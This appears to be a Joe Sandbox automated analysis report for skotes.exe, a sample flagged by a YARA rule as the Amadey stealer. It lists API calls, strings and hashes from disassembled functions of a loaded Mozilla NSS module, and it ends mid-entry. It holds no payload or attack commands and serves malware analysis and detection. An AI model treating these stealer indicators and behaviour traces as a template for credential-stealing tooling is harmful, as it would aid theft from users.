Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x8c0000
File size:	3'206'144 bytes
MD5 hash:	52B7DBCCDE53A06FE0163EFA59E1C0E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2528327804.00000000008C1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 6CE66E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFB2120,6CE67E60), ref: 6CE66EBC
TlsGetValue.KERNEL32 ref: 6CE66EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE66EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CE66F25

Part of subcall function 6CE3A900: TlsGetValue.KERNEL32(00000000,?,6CFB14E4,?,6CDD4DD9), ref: 6CE3A90F
Part of subcall function 6CE3A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE3A94F

PR_Unlock.NSS3 ref: 6CE66F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CE66FA9
TlsGetValue.KERNEL32 ref: 6CE670B4
EnterCriticalSection.KERNEL32(?), ref: 6CE670C8
PR_CallOnce.NSS3(6CFB24C0,6CEA7590), ref: 6CE67104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE67117
SECOID_Init.NSS3 ref: 6CE67128
PORT_Alloc_Util.NSS3(00000057), ref: 6CE6714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE6717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE671A9
PR_NotifyAllCondVar.NSS3 ref: 6CE671CF
PR_Unlock.NSS3 ref: 6CE671DD
free.MOZGLUE(?), ref: 6CE671EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE67208
free.MOZGLUE(00000000), ref: 6CE67221
free.MOZGLUE(00000001), ref: 6CE67235
TlsGetValue.KERNEL32 ref: 6CE6724A
EnterCriticalSection.KERNEL32(?), ref: 6CE6725E
PR_NotifyCondVar.NSS3 ref: 6CE67273
PR_Unlock.NSS3 ref: 6CE67281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE67291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE672B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE672D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE672E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE67372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CFA0148,,defaultModDB,internalKeySlot), ref: 6CE674CC
free.MOZGLUE(00000000), ref: 6CE67513
free.MOZGLUE(00000000), ref: 6CE6751B
free.MOZGLUE(00000000), ref: 6CE67528
free.MOZGLUE(00000000), ref: 6CE6753C
free.MOZGLUE(00000000), ref: 6CE67550
free.MOZGLUE(00000000), ref: 6CE67561
free.MOZGLUE(00000000), ref: 6CE67572
free.MOZGLUE(00000000), ref: 6CE67583
free.MOZGLUE(00000000), ref: 6CE67594
free.MOZGLUE(00000000), ref: 6CE675A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CE675BD
free.MOZGLUE(00000000), ref: 6CE675C8
free.MOZGLUE(00000000), ref: 6CE675F1
PR_NewLock.NSS3 ref: 6CE67636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE67686
PR_NewLock.NSS3 ref: 6CE676A2

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CE676B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CE67707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE6771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE67731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CE6774A
DeleteCriticalSection.KERNEL32(?), ref: 6CE67770
free.MOZGLUE(?), ref: 6CE67779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE677AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CE677C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE677DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CE67821
PORT_Alloc_Util.NSS3(?), ref: 6CE67837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE6785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE6786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CE678AC
free.MOZGLUE(00000000), ref: 6CE678BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CE678F3
free.MOZGLUE(00000000), ref: 6CE678FC
free.MOZGLUE(00000000), ref: 6CE6791C

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

Strings

,defaultModDB,internalKeySlot, xrefs: 6CE6748D, 6CE674AA
NSS Internal Module, xrefs: 6CE674A2, 6CE674C6
dll, xrefs: 6CE6788E
extern:, xrefs: 6CE6772B
Spac, xrefs: 6CE67389
rdb:, xrefs: 6CE67744
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CE674C7
dbm:, xrefs: 6CE67716
sql:, xrefs: 6CE676FE
kbi., xrefs: 6CE67886

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 6ddbf7018bf48e5ba8da3cddfb4cb8f9e47823850843f287dc77b35fe46a7d3e
Instruction ID: 9437833074be1fb8354cfa9aebbbafd7c770edc700742428c115147ec592c65a
Opcode Fuzzy Hash: 6ddbf7018bf48e5ba8da3cddfb4cb8f9e47823850843f287dc77b35fe46a7d3e
Instruction Fuzzy Hash: 0B5203B1E602019BEF109FA6DC457AEBBB4AF0630CF254128EC19A6F41E732D954CB91

Function 6CE8BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CE8C0C8

Part of subcall function 6CF19440: LeaveCriticalSection.KERNEL32 ref: 6CF195CD
Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF19622
Part of subcall function 6CF19440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CF1964E

PR_EnterMonitor.NSS3 ref: 6CE8C0AE

Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF191AA
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19212
Part of subcall function 6CF19090: _PR_MD_WAIT_CV.NSS3 ref: 6CF1926B

Part of subcall function 6CE40600: GetLastError.KERNEL32(?,?,?,?,?,6CE405E2), ref: 6CE40642
Part of subcall function 6CE40600: TlsGetValue.KERNEL32(?,?,?,?,?,6CE405E2), ref: 6CE4065D
Part of subcall function 6CE40600: GetLastError.KERNEL32 ref: 6CE40678
Part of subcall function 6CE40600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CE4068A
Part of subcall function 6CE40600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE40693
Part of subcall function 6CE40600: PR_SetErrorText.NSS3(00000000,?), ref: 6CE4069D
Part of subcall function 6CE40600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,605F7314,?,?,?,?,?,6CE405E2), ref: 6CE406CA
Part of subcall function 6CE40600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CE405E2), ref: 6CE406E6

PR_EnterMonitor.NSS3 ref: 6CE8C0F2
PR_ExitMonitor.NSS3 ref: 6CE8C10E
PR_ExitMonitor.NSS3 ref: 6CE8C081

Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF1945B
Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF19479
Part of subcall function 6CF19440: EnterCriticalSection.KERNEL32 ref: 6CF19495
Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF194E4
Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF19532
Part of subcall function 6CF19440: LeaveCriticalSection.KERNEL32 ref: 6CF1955D

PR_EnterMonitor.NSS3 ref: 6CE8C068

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CE40600: GetProcAddress.KERNEL32(?,?), ref: 6CE40623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CE8C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CE8C183
free.MOZGLUE(00000000), ref: 6CE8C18E
PR_LoadLibrary.NSS3(?), ref: 6CE8C1A3
PR_EnterMonitor.NSS3 ref: 6CE8C1D4
PR_ExitMonitor.NSS3 ref: 6CE8C1F3
PR_CallOnce.NSS3(6CFB2318,6CE8CA70), ref: 6CE8C210
PR_EnterMonitor.NSS3 ref: 6CE8C22B
PR_ExitMonitor.NSS3 ref: 6CE8C247
PR_EnterMonitor.NSS3 ref: 6CE8C26A
PR_ExitMonitor.NSS3 ref: 6CE8C287
PR_UnloadLibrary.NSS3(?), ref: 6CE8C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CE8C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE8C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CE8C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CE8C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CE8C7B5
PR_UnloadLibrary.NSS3(?), ref: 6CE8C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CE8C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE8C8BF
PORT_Alloc_Util.NSS3(?), ref: 6CE8C8D5
free.MOZGLUE(00000000), ref: 6CE8C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE8C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE8C9E5
free.MOZGLUE(00000000), ref: 6CE8CA5A

Strings

NSS_ReturnModuleSpecData, xrefs: 6CE8C275
nss_mod_log, xrefs: 6CE8C3CC
NSS_FORCE_TOKEN_LOCK, xrefs: 6CE8C77D
Vendor NSS FIPS Interface, xrefs: 6CE8C34A
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CE8C38D
NSC_GetFunctionList, xrefs: 6CE8C093
NSC_GetInterface, xrefs: 6CE8C04F
PKCS 11, xrefs: 6CE8C2F9, 6CE8C314
FC_GetInterface, xrefs: 6CE8C054
NSC_ModuleDBFunc, xrefs: 6CE8C0FC
NSS_DISABLE_UNLOAD, xrefs: 6CE8C7B0
FC_GetFunctionList, xrefs: 6CE8C098

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 029317ded0d61fb9d86cb2f4ecba7fad473701f42fd917c94c3f2f4d87284b1a
Instruction ID: f06e84a50cc806cb795ee526faaac4cb96438d279e431396ae6170436df1e4fe
Opcode Fuzzy Hash: 029317ded0d61fb9d86cb2f4ecba7fad473701f42fd917c94c3f2f4d87284b1a
Instruction Fuzzy Hash: 91427CB1F122048FEF40DF64D88BB9A3BB1BB46308F244169D80D9BB61E736D515CB95

Function 6CF63FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CF63FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF63FFE
malloc.MOZGLUE(-00000003), ref: 6CF64016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CF9FC62), ref: 6CF6404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF6407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF640A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF640D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF64112
malloc.MOZGLUE(00000000), ref: 6CF6411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CF6414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF64160
free.MOZGLUE(?), ref: 6CF6416C
malloc.MOZGLUE(?), ref: 6CF641AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CF641EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CF64520), ref: 6CF64244
GetEnvironmentStrings.KERNEL32 ref: 6CF6424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF64263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF64283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF642B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF642E4
malloc.MOZGLUE(00000002), ref: 6CF642FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF64342
GetStdHandle.KERNEL32(000000F6), ref: 6CF643AB
GetStdHandle.KERNEL32(000000F5), ref: 6CF643B2
GetStdHandle.KERNEL32(000000F4), ref: 6CF643B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF64403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF64410

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CF6445E
CloseHandle.KERNEL32(?), ref: 6CF6446B
free.MOZGLUE(?), ref: 6CF64482
free.MOZGLUE(00000000), ref: 6CF64492
free.MOZGLUE(00000000), ref: 6CF644A4
GetLastError.KERNEL32 ref: 6CF644B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CF644BE
free.MOZGLUE(?), ref: 6CF644C7
free.MOZGLUE(00000000), ref: 6CF644D5
free.MOZGLUE(00000000), ref: 6CF644EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6CF641E9
=, xrefs: 6CF644F8
D, xrefs: 6CF64396

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: c37668ef332c5076fd6544a03ecbc1fd0f70e9671266dae13b78f75bd6aec6c5
Instruction ID: f54b92d4f95c4e44251e18774ed342803beed8c137582eab21922d11cc03120a
Opcode Fuzzy Hash: c37668ef332c5076fd6544a03ecbc1fd0f70e9671266dae13b78f75bd6aec6c5
Instruction Fuzzy Hash: 9D02F675E043519FEB11EFAAC8A17AEBFB4AF06308F244129DC65A7F41D7319805CB91

Function 6CE76D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CF7A8EC,0000006C), ref: 6CE76DC6
memcpy.VCRUNTIME140(?,6CF7A958,0000006C), ref: 6CE76DDB
memcpy.VCRUNTIME140(?,6CF7A9C4,00000078), ref: 6CE76DF1
memcpy.VCRUNTIME140(?,6CF7AA3C,0000006C), ref: 6CE76E06
memcpy.VCRUNTIME140(?,6CF7AAA8,00000060), ref: 6CE76E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE76E38

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CE76E76
TlsGetValue.KERNEL32 ref: 6CE7726F
EnterCriticalSection.KERNEL32(?), ref: 6CE77283

Strings

!, xrefs: 6CE77123

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: fa54b2e63f4f1993030e2f9fc787d9a49fede04db1233feab8cb981f38f3c804
Instruction ID: 5163721c518f81a4579d008db6a31951d84d1b8c4f3190f251b43d3375566ff7
Opcode Fuzzy Hash: fa54b2e63f4f1993030e2f9fc787d9a49fede04db1233feab8cb981f38f3c804
Instruction Fuzzy Hash: D9729075D052199FDF61DF28CC8879ABBB5EF49308F2041A9E80DA7701E7319A85CFA1

Function 6CDE3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CDE3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CDE410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDE449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDE4452, 6CDE4486, 6CDE44EA, 6CDE4571, 6CDE4580, 6CDE458F, 6CDE475A, 6CDE47FA
database corruption, xrefs: 6CDE4490, 6CDE44F4, 6CDE4599, 6CDE4764, 6CDE4804
%s at line %d of [%.10s], xrefs: 6CDE4495, 6CDE44F9, 6CDE459E, 6CDE4769, 6CDE4809

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: a9e4793f7a3230503dfcf7d13797a9d9f679d5a31af731d908a32b9c1bbac368
Instruction ID: e44df5d2293b9e7b380724ab48d01d04f27c9015d669e93562b5f6185182915f
Opcode Fuzzy Hash: a9e4793f7a3230503dfcf7d13797a9d9f679d5a31af731d908a32b9c1bbac368
Instruction Fuzzy Hash: 9E827E75A00205DFCB04DFA9C480BAEB7B2BF4D318F2585A9D905ABB61D731EC42CB91

Function 6CEBAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEBACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CEBACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CEBACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CEBAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CEBADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBADF0

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEBB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEBB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEBB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CEBB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEBB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBB40C

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: ed4c25a619065f7c00f7bee75e633aa4ea7e4be636d2eace729957323c37690b
Instruction ID: 032a82c42c9c079d021c0d3634304410ab3609d6c4aa2708d228dcc6c6e9ab15
Opcode Fuzzy Hash: ed4c25a619065f7c00f7bee75e633aa4ea7e4be636d2eace729957323c37690b
Instruction Fuzzy Hash: B7227C71904301AFE710CF14CD85BAA77B1AF8430CF24856CE9596F7A2E772E859CB92

Function 6CE01F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE025F3

Strings

